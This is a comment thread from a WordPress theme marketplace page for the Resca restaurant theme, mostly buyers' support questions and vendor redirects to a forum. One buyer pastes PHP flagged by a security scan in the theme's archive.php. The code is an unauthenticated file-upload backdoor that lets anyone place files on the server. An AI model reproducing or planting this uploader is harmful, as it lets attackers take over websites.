271 comments found.
I’m getting the import error 02, and I don’t find any documentation or information on the forums. How can I solve it?
Hello ivanmalo,
In such case, please post a topic at https://thimpress.com/forums/forum/resca/, we have to check your system before giving you the solution.
Regards
Thoa Kim
All headings in page builder when I add or modify show like this “COM_SPPAGEBUILDER_ADDON_TAB_ITEM_COLUMN”
Hi,
For your issue, please post a topic at https://thimpress.com/forums/forum/resca/ or contact email: tamho@foobla.com, we will check this.
Regards,
WHere is the tags to setup the menu items. I searched in pagebuilder and in components tags. I want to modify the existing menu and I cannot find where.
Hi,
For your issue, please post a topic at https://thimpress.com/forums/forum/resca/ or contact email: tamho@foobla.com, we will check this.
Regards,
Hello, I bought this theme but something is not like in your demo page http://prntscr.com/fm01ko http://prntscr.com/fm01w8 can you fix it ?
Hello buraksahin3
Thanks for your purchasing. In such case, we have to check your site directly. So please go to the support forum and post a topic about the problem you have. The developer will check.
Here is the forum https://thimpress.com/forums/forum/resca/
Regards
Thoa Kim
I had run a scan with Wordfence on my site which have Resca theme and it showed me to review this file wp-content/themes/resca/archive.php . I am appending the code below and let me know if it contain any infection. The code is <?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);
echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
Hello 360brandmarketing
Thanks for your report but the code isn’t in the theme. In other words, this is not our code. This is probably caused by something. Therefore, please go to the support forum, we’ll check directly on your site to find out the reason.
Regards
Thoa Kim
I instala this theme but the style from my website is not the same like your demo .. what i need to do to look like in live demo ? Event page only… my event list is show in slide and i don’t like it..
Http://aquagardenmilitariresidence.ro/petreceri
Hello
Thanks for your purchasing. If you have any problems with the theme, please go to the support forum and create topics. We’re willing to help.
Here is the forum https://thimpress.com/forums/forum/resca/
Regards
I try but i think you have same error there… ERROR: Sorry this purchase code exists
I need to finish this site in 6 hours… and this is last problem… but big problem.
Can you send me in email some detail about this please ? aadryaan94@yahoo.com thank you !
Hello
The supporter will contact you right now.
Regards
This is the path to your event page http://www.aquagardenmilitariresidence.ro/events/, I checked with your name, you created a topic at https://thimpress.com/forums/topic/demo-version-does-not-look-like-preview/ We have contacted you via email, you can check it.
Just purchased the Resca Theme and I love the look, but every time I try to edit the demo, I get the following error:
“The connection was reset
The connection to the server was reset while the page was loading.
The site could be temporarily unavailable or too busy. Try again in a few moments. If you are unable to load any pages, check your computer’s network connection. If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.”
I’ve tried from several different locations across several different browsers (all mac). Can you tell me how to resolve this?
Hello ushj
Thanks for your purchasing. If you have any problems with the theme, please go to the support forum and create topics. We’re willing to help.
Here is the forum https://thimpress.com/forums/forum/resca/
Regards
What is going on with images in menu, in the menu page. They open in two places on click – in the popup, and in another (new) tab as well. I have checked on chrome and safari – it is the same issue.
Hello NortenWeb
I’ve double checked the menu page on Chrome and Safari but the menu images only popup, not open in the new tab http://prntscr.com/fdmxrt. Please check again.
Regards
Hm, it seems my mac is behaving strange then..both safari and chrome. Will check that. Thank you for reply.
Well it seems it is not my problem at the end. I have checked on another machine, and with Samsung tablet, and iPhone. All devices open image in current tab and open additional tab at the same time, which is very frustrating for users.
Your code is here, you have both popup class and target blank:
<div class="item-left">
<a class="image-popup" target="_blank" href="http://resca.thimpress.com/wp-content/uploads/2013/06/whiskey.jpg" data-caption="" data-desc="">
<img class="erm_product_image" alt="" src="http://resca.thimpress.com/wp-content/uploads/2013/06/whiskey-150x150.jpg" />
</a>
<h3 class="erm_product_title"><span>Wild Ginger</span></h3><div class="erm_product_desc"><p>Wild turkey American honey, goslings ginger beer.</p></div>
</div>
Hello
We’ll check again and resolve immediately if there is issue as you said. Thanks for your report.
Regards
We have updated in version 2.5, You can wait for Envato information today.
I Purchased this theme, but unable to setup google map in contact page using thim: google maps widget.
Hello abtech123
Thanks for your purchasing. If you have any problems with the theme, please go to the support forum and create topics. We’re willing to help.
Regards
Awaiting support as I reported and opened a ticket 3 hours ago.
Hello declanodowd
Sorry for the late response because of the short holiday. The support team is working now and will reply you soon.
Regards
Unable to load Thim Event plugin among other issues like other bugs.
Hello declanodowd
Sorry for the late response because of the short holiday. The support team is working now so please go to https://thimpress.com/forums/forum/resca/, we’re willing to help.
Regards
Thoa Kim
Hi there, I have some pre-purchase questions.
First I am a little concerned with some of the reviews about proper documentation/support. Hoping this has been updated from when most of those reviews were left. (4months + now?)
My questions include:
1. Is there an option to list the menu WITHOUT PRICES? 2. Does this theme support/provide for any plugins for multiple locations? 3. Is there restriction on the size of the logo for the site?
Thanks for your time,
Thanks for your concern. Our theme doesn’t support for #2 and 3. About #3, we can help you custom it.
How about the first question? Can the menu be displayed without pricing easily?
Our theme does not support it but we can help you custom it.
After importing demo content, the site is not looking good, I mean something isnt working and the font, colors, loaders, images nothing is configured well.. please check http://rockinwaffle.com/
Hello
In this case, we have to check your system. Please contact us at https://thimpress.com/forums/forum/resca/.
Regards
Thoa Kim
Does this theme work on PHP7?
Hi, the theme is fully compaatible with PHP 7 and WordPress latest version.
Bests,
Hello, I want to know where the option to translate the word “PRICE” in the restaurant menu.
It´s posible? Thanx
Hi,
You can install plugin Loco Translate to translate this word in file language of theme. If you need further support, please contact us at https://thimpress.com/forums/forum/resca/.
Regards,
Hien Phan.
Hello I am many days with a problem. I am trying to solve it with the hosting staff, increase the memory to 512mg, removing and adding plugins, and I can not do more changes on the web.
I did the import of the demo correctly. If I have been able to edit 80% of the home page, including the “tab restaurant menu” block, but I can not make any more changes. Can you give me support please? Thank you
Hello infozinkers
Maybe we have to login your site to check. So please go to the support forum at https://thimpress.com/forums/forum/resca/, post a topic about your problem and give us info of your site. We’re willing to help you.
Regards
Thoa Kim
Ok, thanx
the “tab menu” option does not show up on mobile. How can I fix that?
here are the page where it is not working: http://demo1.kelseydesigns.com/menu/also, anytime i try to add the events page to my site, it only re-directs to the themes demo events page… it leaves my website all together. how can i fix that?
Hello stoneshoes123
In this case, our technical developers need to check your site. Please post a topic at https://thimpress.com/forums/forum/resca/ then they’ll support you.
Regards
Thoa Kim
Hello, I bought your theme that I find perfect. I have a problem with “Price” in the plugin Rest. Menu. Despite the translation of the .POT file, the word “Price” remains in English at the front office while my site is in French. How do I replace “Price” with “Prix”? Regards,
Hello AMELYAA
Please go to the support forum https://thimpress.com/forums/forum/resca/ to ask for help. It’s easier for us to support you.
Regards
Thoa Kim
i have seen a lot of comments about the demo content not uploading. i would love to purchase this theme, however i need to know if the demo content will work first. thank you
Hello stoneshoes123
Our theme was updated to fix some issues so that demo content was updated to make it better. There isn’t any with demo data any more. Don’t worry about this.
Regards
Thoa Kim
Hi- I took your word for it and bought the theme. I just tried to import the demo data and it did NOT work. Please help
please disregard! i deleted and reinstalled. it seemed to work on the second time around.
Hello
Feel free to let us know if you have any problems with our theme at https://thimpress.com/forums/forum/resca/ It’s easier for us to support you.
Regards
Hello, sticky header doesnt work? I cannot scroll down, what we do for now? Could you help me?
Hello
In this case, we’ll need to check your site. So Please create a topic at https://thimpress.com/forums/forum/resca/ about this problem for us to check.
Regards
Thoa Kim
